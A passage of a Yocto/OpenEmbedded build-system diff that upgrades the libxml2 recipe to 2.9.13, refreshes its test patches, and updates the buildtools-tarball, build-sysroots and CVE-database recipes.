- CPPFLAGS="$CPPFLAGS $XML_CPPFLAGS"
- LIBS="$LIBS $XML_LIBS"
-- AC_TRY_LINK([
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM([[
-#include <libxml/xmlversion.h>
-#include <stdio.h>
--], [ LIBXML_TEST_VERSION; return 0;],
+-]], [[ LIBXML_TEST_VERSION; return 0;]])],
- [ echo "*** The test program compiled, but did not run. This usually means"
- echo "*** that the run-time linker is not finding LIBXML or finding the wrong"
- echo "*** version of LIBXML. If it is not finding LIBXML, you'll need to set your"
@@ -211,6 +223,3 @@ index 2d7a6f5..1c53585 100644
- AC_SUBST(XML_LIBS)
- rm -f conf.xmltest
])
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch b/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch
new file mode 100644
index 0000000000..66694af388
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch
@@ -0,0 +1,44 @@
+From e49a0d4a8f3f725d6f683854e1cad36a3cd02962 Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Wed, 19 May 2021 19:43:56 -0400
+Subject: [PATCH] Remove fuzz testing from executing with ptests.
+
+Upstream version 2.9.12 introduced new fuzz-testing and a corresponding
+folder fuzz. These tests are not required for ptests of this package.
+
+This patch removes the fuzz testing targets from the Makefile.
+Otherwise, running the ptests will fail due to the invalid directory.
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
+---
+ Makefile.am | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index a9284b95..3d7b344d 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -2,9 +2,9 @@
+
+ ACLOCAL_AMFLAGS = -I m4
+
+-SUBDIRS = include . doc example fuzz xstc $(PYTHON_SUBDIR)
++SUBDIRS = include . doc example xstc $(PYTHON_SUBDIR)
+
+-DIST_SUBDIRS = include . doc example fuzz python xstc
++DIST_SUBDIRS = include . doc example python xstc
+
+ AM_CPPFLAGS = -I$(top_builddir)/include -I$(srcdir)/include
+
+@@ -210,7 +210,6 @@ runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
+ $(CHECKER) ./runxmlconf$(EXEEXT)
+ @(if [ "$(PYTHON_SUBDIR)" != "" ] ; then cd python ; \
+ $(MAKE) tests ; fi)
+- @cd fuzz; $(MAKE) tests
+
+ check: all runtests
+
+--
+2.25.1
+
diff --git a/meta/recipes-core/libxml/libxml2/runtest.patch b/meta/recipes-core/libxml/libxml2/runtest.patch
index 0dbb353c0f..a89dac8b75 100644
--- a/meta/recipes-core/libxml/libxml2/runtest.patch
+++ b/meta/recipes-core/libxml/libxml2/runtest.patch
@@ -1,28 +1,33 @@
-Add 'install-ptest' rule. Print a standard result line for
-each test.
+From 6172ccd1e74bc181f5298f19e240234e12876abe Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Tue, 11 May 2021 11:57:46 -0400
+Subject: [PATCH] Add 'install-ptest' rule.
+
+Print a standard result line for each test.
Signed-off-by: Mihaela Sendrea <mihaela.sendrea@enea.com>
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-Upstream-Status: Backport
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libxml2/-/merge_requests/137]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
---
- Makefile.am | 9 ++++
+ Makefile.am | 9 +++
runsuite.c | 1 +
runtest.c | 2 +
runxmlconf.c | 1 +
- testapi.c | 122 ++++++++++++++++++++++++++++++---------------
- testchar.c | 156 +++++++++++++++++++++++++++++++++++++++++-----------------
+ testapi.c | 122 ++++++++++++++++++++++++++-------------
+ testchar.c | 156 +++++++++++++++++++++++++++++++++++---------------
testdict.c | 1 +
testlimits.c | 1 +
testrecurse.c | 2 +
9 files changed, 210 insertions(+), 85 deletions(-)
diff --git a/Makefile.am b/Makefile.am
-index 9c630be..7cfd04b 100644
+index 05d1671f..ae622745 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -202,6 +202,15 @@ runxmlconf_LDADD= $(LDADDS)
+@@ -198,6 +198,15 @@ runxmlconf_LDADD= $(LDADDS)
#testOOM_DEPENDENCIES = $(DEPS)
#testOOM_LDADD= $(LDADDS)
@@ -39,10 +44,10 @@ index 9c630be..7cfd04b 100644
testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
[ -d test ] || $(LN_S) $(srcdir)/test .
diff --git a/runsuite.c b/runsuite.c
-index aaab13e..9ba2c5d 100644
+index d24b5ec3..f7ff2521 100644
--- a/runsuite.c
+++ b/runsuite.c
-@@ -1162,6 +1162,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
+@@ -1147,6 +1147,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
if (logfile != NULL)
fclose(logfile);
@@ -51,10 +56,10 @@ index aaab13e..9ba2c5d 100644
}
#else /* !SCHEMAS */
diff --git a/runtest.c b/runtest.c
-index addda5c..8ba5d59 100644
+index ffa98d04..470f95cb 100644
--- a/runtest.c
+++ b/runtest.c
-@@ -4501,6 +4501,7 @@ launchTests(testDescPtr tst) {
+@@ -4508,6 +4508,7 @@ launchTests(testDescPtr tst) {
xmlCharEncCloseFunc(ebcdicHandler);
xmlCharEncCloseFunc(eucJpHandler);
@@ -62,7 +67,7 @@ index addda5c..8ba5d59 100644
return(err);
}
-@@ -4577,6 +4578,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
+@@ -4588,6 +4589,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
xmlCleanupParser();
xmlMemoryDump();
@@ -71,7 +76,7 @@ index addda5c..8ba5d59 100644
}
diff --git a/runxmlconf.c b/runxmlconf.c
-index cef20f4..4f291fb 100644
+index 70f61017..e882b3a1 100644
--- a/runxmlconf.c
+++ b/runxmlconf.c
@@ -595,6 +595,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
@@ -83,7 +88,7 @@ index cef20f4..4f291fb 100644
}
diff --git a/testapi.c b/testapi.c
-index 4a751e2..7ccc066 100644
+index ff8b470d..52b51d78 100644
--- a/testapi.c
+++ b/testapi.c
@@ -1246,49 +1246,91 @@ static int
@@ -219,7 +224,7 @@ index 4a751e2..7ccc066 100644
}
diff --git a/testchar.c b/testchar.c
-index 0d08792..f555d3b 100644
+index 6866a175..7bce0132 100644
--- a/testchar.c
+++ b/testchar.c
@@ -23,7 +23,7 @@ static void errorHandler(void *unused, xmlErrorPtr err) {
@@ -797,7 +802,7 @@ index 0d08792..f555d3b 100644
/*
* Cleanup function for the XML library.
diff --git a/testdict.c b/testdict.c
-index 40bebd0..114b934 100644
+index 40bebd05..114b9347 100644
--- a/testdict.c
+++ b/testdict.c
@@ -440,5 +440,6 @@ int main(void)
@@ -808,7 +813,7 @@ index 40bebd0..114b934 100644
return(ret);
}
diff --git a/testlimits.c b/testlimits.c
-index 68c94db..1584434 100644
+index 059116a6..f0bee68d 100644
--- a/testlimits.c
+++ b/testlimits.c
@@ -1634,5 +1634,6 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
@@ -819,7 +824,7 @@ index 68c94db..1584434 100644
return(ret);
}
diff --git a/testrecurse.c b/testrecurse.c
-index f95ae1c..74c8f8b 100644
+index 0cbe25a6..3ecadb40 100644
--- a/testrecurse.c
+++ b/testrecurse.c
@@ -892,6 +892,7 @@ launchTests(testDescPtr tst) {
@@ -838,5 +843,5 @@ index f95ae1c..74c8f8b 100644
return(ret);
}
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-core/libxml/libxml2_2.9.13.bb b/meta/recipes-core/libxml/libxml2_2.9.13.bb
new file mode 100644
index 0000000000..be59aba84b
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2_2.9.13.bb
@@ -0,0 +1,110 @@
+SUMMARY = "XML C Parser Library and Toolkit"
+DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libxml2"
+BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
+ file://hash.c;beginline=6;endline=15;md5=e77f77b12cb69e203d8b4090a0eee879 \
+ file://list.c;beginline=4;endline=13;md5=b9c25b021ccaf287e50060602d20f3a7 \
+ file://trio.c;beginline=5;endline=14;md5=cd4f61e27f88c1d43df112966b1cd28f"
+
+DEPENDS = "zlib virtual/libiconv"
+
+inherit gnomebase
+
+SRC_URI += "http://www.w3.org/XML/Test/xmlts20080827.tar.gz;subdir=${BP};name=testtar \
+ file://libxml-64bit.patch \
+ file://runtest.patch \
+ file://run-ptest \
+ file://python-sitepackages-dir.patch \
+ file://0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch \
+ file://fix-execution-of-ptests.patch \
+ file://remove-fuzz-from-ptests.patch \
+ file://libxml-m4-use-pkgconfig.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "276130602d12fe484ecc03447ee5e759d0465558fbc9d6bd144e3745306ebf0e"
+SRC_URI[testtar.sha256sum] = "96151685cec997e1f9f3387e3626d61e6284d4d6e66e0e440c209286c03e9cc7"
+
+BINCONFIG = "${bindir}/xml2-config"
+
+PACKAGECONFIG ??= "python \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+inherit autotools pkgconfig binconfig-disabled ptest
+
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3targetconfig', '', d)}
+
+RDEPENDS:${PN}-ptest += "bash make ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
+
+RDEPENDS:${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-ebcdic-us \
+ glibc-gconv-ibm1141 \
+ glibc-gconv-iso8859-5 \
+ glibc-gconv-euc-jp \
+ locale-base-en-us \
+ "
+
+export PYTHON_SITE_PACKAGES="${PYTHON_SITEPACKAGES_DIR}"
+
+# WARNING: zlib is required for RPM use
+EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --without-docbook --with-c14n --without-lzma --with-fexceptions"
+EXTRA_OECONF:class-native = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:class-nativesdk = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:linuxstdbase = "--with-debug --with-legacy --with-docbook --with-c14n --without-lzma --with-zlib"
+
+python populate_packages:prepend () {
+ # autonamer would call this libxml2-2, but we don't want that
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:libxml2', '${MLPREFIX}libxml2')
+}
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+PACKAGES += "${PN}-python"
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${libdir}/xml2Conf.sh"
+FILES:${PN}-utils = "${bindir}/*"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
+
+do_configure:prepend () {
+ # executables take longer to package: these should not be executable
+ find ${S}/xmlconf/ -type f -exec chmod -x {} \+
+}
+
+do_compile_ptest() {
+ oe_runmake check-am
+}
+
+do_install_ptest () {
+ cp -r ${S}/xmlconf ${D}${PTEST_PATH}
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ sed -i -e 's|^\(PYTHON = \).*|\1${USRBINPATH}/${PYTHON_PN}|' \
+ ${D}${PTEST_PATH}/python/tests/Makefile
+ grep -lrZ '#!/usr/bin/python' ${D}${PTEST_PATH}/python |
+ xargs -0 sed -i -e 's|/usr/bin/python|${USRBINPATH}/${PYTHON_PN}|'
+ fi
+ #Remove build host references from various Makefiles
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -e '/^RELDATE/d' \
+ {} +
+}
+
+do_install:append:class-native () {
+ # Docs are not needed in the native case
+ rm ${D}${datadir}/gtk-doc -rf
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/libxml/libxml2_2.9.9.bb b/meta/recipes-core/libxml/libxml2_2.9.9.bb
deleted file mode 100644
index c38f883e44..0000000000
--- a/meta/recipes-core/libxml/libxml2_2.9.9.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "XML C Parser Library and Toolkit"
-DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
-HOMEPAGE = "http://www.xmlsoft.org/"
-BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
- file://hash.c;beginline=6;endline=15;md5=96f7296605eae807670fb08947829969 \
- file://list.c;beginline=4;endline=13;md5=cdbfa3dee51c099edb04e39f762ee907 \
- file://trio.c;beginline=5;endline=14;md5=6c025753c86d958722ec76e94cae932e"
-
-DEPENDS = "zlib virtual/libiconv"
-
-SRC_URI = "http://www.xmlsoft.org/sources/libxml2-${PV}.tar.gz;name=libtar \
- http://www.w3.org/XML/Test/xmlts20080827.tar.gz;subdir=${BP};name=testtar \
- file://libxml-64bit.patch \
- file://runtest.patch \
- file://run-ptest \
- file://python-sitepackages-dir.patch \
- file://libxml-m4-use-pkgconfig.patch \
- file://0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch \
- file://fix-execution-of-ptests.patch \
- "
-
-SRC_URI[libtar.md5sum] = "c04a5a0a042eaa157e8e8c9eabe76bd6"
-SRC_URI[libtar.sha256sum] = "94fb70890143e3c6549f265cee93ec064c80a84c42ad0f23e85ee1fd6540a871"
-SRC_URI[testtar.md5sum] = "ae3d1ebe000a3972afa104ca7f0e1b4a"
-SRC_URI[testtar.sha256sum] = "96151685cec997e1f9f3387e3626d61e6284d4d6e66e0e440c209286c03e9cc7"
-
-BINCONFIG = "${bindir}/xml2-config"
-
-PACKAGECONFIG ??= "python \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-inherit autotools pkgconfig binconfig-disabled ptest distro_features_check
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3native', '', d)}
-
-RDEPENDS_${PN}-ptest += "make ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
-
-RDEPENDS_${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-ebcdic-us \
- glibc-gconv-ibm1141 \
- glibc-gconv-iso8859-5 \
- glibc-gconv-euc-jp \
- locale-base-en-us \
- "
-
-export PYTHON_SITE_PACKAGES="${PYTHON_SITEPACKAGES_DIR}"
-
-# WARNING: zlib is required for RPM use
-EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --without-docbook --with-c14n --without-lzma --with-fexceptions"
-EXTRA_OECONF_class-native = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_class-nativesdk = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_linuxstdbase = "--with-debug --with-legacy --with-docbook --with-c14n --without-lzma --with-zlib"
-
-python populate_packages_prepend () {
- # autonamer would call this libxml2-2, but we don't want that
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_libxml2', '${MLPREFIX}libxml2')
-}
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-PACKAGES += "${PN}-python"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${libdir}/xml2Conf.sh ${libdir}/cmake/*"
-FILES_${PN}-utils = "${bindir}/*"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
-
-do_configure_prepend () {
- # executables take longer to package: these should not be executable
- find ${S}/xmlconf/ -type f -exec chmod -x {} \+
-}
-
-do_compile_ptest() {
- oe_runmake check-am
-}
-
-do_install_ptest () {
- cp -r ${S}/xmlconf ${D}${PTEST_PATH}
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- sed -i -e 's|^\(PYTHON = \).*|\1${USRBINPATH}/${PYTHON_PN}|' \
- ${D}${PTEST_PATH}/python/tests/Makefile
- grep -lrZ '#!/usr/bin/python' ${D}${PTEST_PATH}/python |
- xargs -0 sed -i -e 's|/usr/bin/python|${USRBINPATH}/${PYTHON_PN}|'
- fi
- #Remove build host references from various Makefiles
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e '/^RELDATE/d' \
- {} +
-}
-
-do_install_append_class-native () {
- # Docs are not needed in the native case
- rm ${D}${datadir}/gtk-doc -rf
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/meta/build-sysroots.bb b/meta/recipes-core/meta/build-sysroots.bb
index 7a712e2f38..ad22a75eb2 100644
--- a/meta/recipes-core/meta/build-sysroots.bb
+++ b/meta/recipes-core/meta/build-sysroots.bb
@@ -20,6 +20,8 @@ deltask populate_sysroot
python do_build_native_sysroot () {
targetsysroot = d.getVar("STANDALONE_SYSROOT")
nativesysroot = d.getVar("STANDALONE_SYSROOT_NATIVE")
+ import os
+ os.environ['PATH'] = "%s/bin:%s/usr/bin:%s" % (nativesysroot, nativesysroot, os.environ['PATH'])
staging_populate_sysroot_dir(targetsysroot, nativesysroot, True, d)
}
do_build_native_sysroot[cleandirs] = "${STANDALONE_SYSROOT_NATIVE}"
@@ -29,6 +31,8 @@ addtask do_build_native_sysroot before do_build
python do_build_target_sysroot () {
targetsysroot = d.getVar("STANDALONE_SYSROOT")
nativesysroot = d.getVar("STANDALONE_SYSROOT_NATIVE")
+ import os
+ os.environ['PATH'] = "%s/bin:%s/usr/bin:%s" % (nativesysroot, nativesysroot, os.environ['PATH'])
staging_populate_sysroot_dir(targetsysroot, nativesysroot, False, d)
}
do_build_target_sysroot[cleandirs] = "${STANDALONE_SYSROOT}"
diff --git a/meta/recipes-core/meta/buildtools-extended-tarball.bb b/meta/recipes-core/meta/buildtools-extended-tarball.bb
new file mode 100644
index 0000000000..83e3fddccc
--- /dev/null
+++ b/meta/recipes-core/meta/buildtools-extended-tarball.bb
@@ -0,0 +1,49 @@
+require recipes-core/meta/buildtools-tarball.bb
+
+DESCRIPTION = "SDK type target for building a standalone tarball containing build-essentials, python3, chrpath, \
+ make, git and tar. The tarball can be used to run bitbake builds on systems which don't meet the \
+ usual version requirements and have ancient compilers."
+SUMMARY = "Standalone tarball for running builds on systems with inadequate software and ancient compilers"
+LICENSE = "MIT"
+
+# Add nativesdk equivalent of build-essentials
+TOOLCHAIN_HOST_TASK += "\
+ nativesdk-automake \
+ nativesdk-autoconf \
+ nativesdk-binutils \
+ nativesdk-binutils-symlinks \
+ nativesdk-cpp \
+ nativesdk-cpp-symlinks \
+ nativesdk-gcc \
+ nativesdk-gcc-symlinks \
+ nativesdk-g++ \
+ nativesdk-g++-symlinks \
+ nativesdk-gettext \
+ nativesdk-libatomic \
+ nativesdk-libgcc \
+ nativesdk-libgomp-dev \
+ nativesdk-libstdc++ \
+ nativesdk-libstdc++-dev \
+ nativesdk-libstdc++-staticdev \
+ nativesdk-libtool \
+ nativesdk-pkgconfig \
+ nativesdk-glibc-utils \
+ nativesdk-glibc-gconv-ibm850 \
+ nativesdk-glibc-gconv-iso8859-1 \
+ nativesdk-glibc-gconv-utf-16 \
+ nativesdk-glibc-gconv-cp1250 \
+ nativesdk-glibc-gconv-cp1251 \
+ nativesdk-glibc-gconv-cp1252 \
+ nativesdk-glibc-gconv-euc-jp \
+ nativesdk-glibc-gconv-libjis \
+ nativesdk-libxcrypt-dev \
+ nativesdk-parted \
+ nativesdk-dosfstools \
+ nativesdk-gptfdisk \
+ "
+# gconv-cp1250, cp1251 and euc-jp needed for iconv to work in vim builds
+# also copied list from uninative
+
+TOOLCHAIN_OUTPUTNAME = "${SDK_ARCH}-buildtools-extended-nativesdk-standalone-${DISTRO_VERSION}"
+
+SDK_TITLE = "Extended Build tools"
diff --git a/meta/recipes-core/meta/buildtools-tarball.bb b/meta/recipes-core/meta/buildtools-tarball.bb
index 91df6f1ae9..60f6aac837 100644
--- a/meta/recipes-core/meta/buildtools-tarball.bb
+++ b/meta/recipes-core/meta/buildtools-tarball.bb
@@ -6,10 +6,12 @@ LICENSE = "MIT"
TOOLCHAIN_TARGET_TASK ?= ""
TOOLCHAIN_HOST_TASK ?= "\
+ nativesdk-sdk-provides-dummy \
nativesdk-python3-core \
nativesdk-python3-modules \
nativesdk-python3-misc \
nativesdk-python3-git \
+ nativesdk-python3-jinja2 \
nativesdk-python3-testtools \
nativesdk-python3-subunit \
nativesdk-ncurses-terminfo-base \
@@ -25,6 +27,10 @@ TOOLCHAIN_HOST_TASK ?= "\
nativesdk-texinfo \
nativesdk-libnss-nis \
nativesdk-rpcsvc-proto \
+ nativesdk-patch \
+ nativesdk-mtools \
+ nativesdk-zstd \
+ nativesdk-lz4 \
"
MULTIMACH_TARGET_SYS = "${SDK_ARCH}-nativesdk${SDK_VENDOR}-${SDK_OS}"
@@ -43,7 +49,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -55,7 +60,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
@@ -63,20 +68,28 @@ create_sdk_files_append () {
# Generate new (mini) sdk-environment-setup file
script=${1:-${SDK_OUTPUT}/${SDKPATH}/environment-setup-${SDK_SYS}}
touch $script
- echo 'export PATH=${SDKPATHNATIVE}${bindir_nativesdk}:$PATH' >> $script
- # In order for the self-extraction script to correctly extract and set up things,
- # we need a 'OECORE_NATIVE_SYSROOT=xxx' line in environment setup script.
- # However, buildtools-tarball is inherently a tool set instead of a fully functional SDK,
- # so instead of exporting the variable, we use a comment here.
- echo '#OECORE_NATIVE_SYSROOT="${SDKPATHNATIVE}"' >> $script
+ echo 'export PATH=${SDKPATHNATIVE}${bindir_nativesdk}:${SDKPATHNATIVE}${sbindir_nativesdk}:${SDKPATHNATIVE}${base_bindir_nativesdk}:${SDKPATHNATIVE}${base_sbindir_nativesdk}:$PATH' >> $script
+ echo 'export OECORE_NATIVE_SYSROOT="${SDKPATHNATIVE}"' >> $script
+ echo 'export GIT_SSL_CAINFO="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ echo 'export SSL_CERT_FILE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+
toolchain_create_sdk_version ${SDK_OUTPUT}/${SDKPATH}/version-${SDK_SYS}
- echo 'export GIT_SSL_CAINFO="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ cat >> $script <<EOF
+if [ -d "\$OECORE_NATIVE_SYSROOT/environment-setup.d" ]; then
+ for envfile in \$OECORE_NATIVE_SYSROOT/environment-setup.d/*.sh; do
+ . \$envfile
+ done
+fi
+# We have to unset this else it can confuse oe-selftest and other tools
+# which may also use the overlapping namespace.
+unset OECORE_NATIVE_SYSROOT
+EOF
if [ "${SDKMACHINE}" = "i686" ]; then
echo 'export NO32LIBS="0"' >>$script
- echo 'echo "$BB_ENV_EXTRAWHITE" | grep -q "NO32LIBS"' >>$script
- echo '[ $? != 0 ] && export BB_ENV_EXTRAWHITE="NO32LIBS $BB_ENV_EXTRAWHITE"' >>$script
+ echo 'echo "$BB_ENV_PASSTHROUGH_ADDITIONS" | grep -q "NO32LIBS"' >>$script
+ echo '[ $? != 0 ] && export BB_ENV_PASSTHROUGH_ADDITIONS="NO32LIBS $BB_ENV_PASSTHROUGH_ADDITIONS"' >>$script
fi
}
@@ -85,3 +98,17 @@ TOOLCHAIN_NEED_CONFIGSITE_CACHE = ""
# The recipe doesn't need any default deps
INHIBIT_DEFAULT_DEPS = "1"
+
+python do_testsdk() {
+ import oeqa.sdk.testsdk
+ testsdk = oeqa.sdk.testsdk.TestSDK()
+
+ cases_path = os.path.join(os.path.abspath(os.path.dirname(oeqa.sdk.testsdk.__file__)), "buildtools-cases")
+ testsdk.context_executor_class.default_cases = cases_path
+
+ testsdk.run(d)
+}
+addtask testsdk
+do_testsdk[nostamp] = "1"
+do_testsdk[network] = "1"
+do_testsdk[depends] += "xz-native:do_populate_sysroot"
diff --git a/meta/recipes-core/meta/cve-update-db-native.bb b/meta/recipes-core/meta/cve-update-db-native.bb
index 2c427a5884..e5822cee58 100644
--- a/meta/recipes-core/meta/cve-update-db-native.bb
+++ b/meta/recipes-core/meta/cve-update-db-native.bb
@@ -12,40 +12,47 @@ deltask do_compile
deltask do_install
deltask do_populate_sysroot
+NVDCVE_URL ?= "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-"
+
python () {
- if not d.getVar("CVE_CHECK_DB_FILE"):
+ if not bb.data.inherits_class("cve-check", d):
raise bb.parse.SkipRecipe("Skip recipe when cve-check class is not loaded.")
}
-python do_populate_cve_db() {
+python do_fetch() {
"""
Update NVD database with json data feed
"""
-
- import sqlite3, urllib, urllib.parse, shutil, gzip
+ import bb.utils
+ import bb.progress
+ import sqlite3, urllib, urllib.parse, gzip
from datetime import date
- BASE_URL = "https://nvd.nist.gov/feeds/json/cve/1.0/nvdcve-1.0-"
+ bb.utils.export_proxies(d)
+
YEAR_START = 2002
- db_dir = os.path.join(d.getVar("DL_DIR"), 'CVE_CHECK')
- db_file = os.path.join(db_dir, 'nvdcve_1.0.db')
- json_tmpfile = os.path.join(db_dir, 'nvd.json.gz')
- proxy = d.getVar("https_proxy")
+ db_file = d.getVar("CVE_CHECK_DB_FILE")
+ db_dir = os.path.dirname(db_file)
+
+ if os.path.exists("{0}-journal".format(db_file)):
+ # If a journal is present the last update might have been interrupted. In that case,
+ # just wipe any leftovers and force the DB to be recreated.
+ os.remove("{0}-journal".format(db_file))
- if proxy:
- # instantiate an opener but do not install it as the global
- # opener unless if we're really sure it's applicable for all
- # urllib requests
- proxy_handler = urllib.request.ProxyHandler({'https': proxy})
- proxy_opener = urllib.request.build_opener(proxy_handler)
- else:
- proxy_opener = None
+ if os.path.exists(db_file):
+ os.remove(db_file)
- cve_f = open(os.path.join(d.getVar("TMPDIR"), 'cve_check'), 'a')
+ # Don't refresh the database more than once an hour
+ try:
+ import time
+ if time.time() - os.path.getmtime(db_file) < (60*60):
+ bb.debug(2, "Recently updated, skipping")
+ return
+ except OSError:
+ pass
- if not os.path.isdir(db_dir):
- os.mkdir(db_dir)
+ bb.utils.mkdirhier(db_dir)
# Connect to database
conn = sqlite3.connect(db_file)
@@ -53,70 +60,75 @@ python do_populate_cve_db() {
initialize_db(c)
- for year in range(YEAR_START, date.today().year + 1):
- year_url = BASE_URL + str(year)
- meta_url = year_url + ".meta"
- json_url = year_url + ".json.gz"
-
- # Retrieve meta last modified date
-
- response = None
-
- if proxy_opener:
- response = proxy_opener.open(meta_url)
- else:
- req = urllib.request.Request(meta_url)
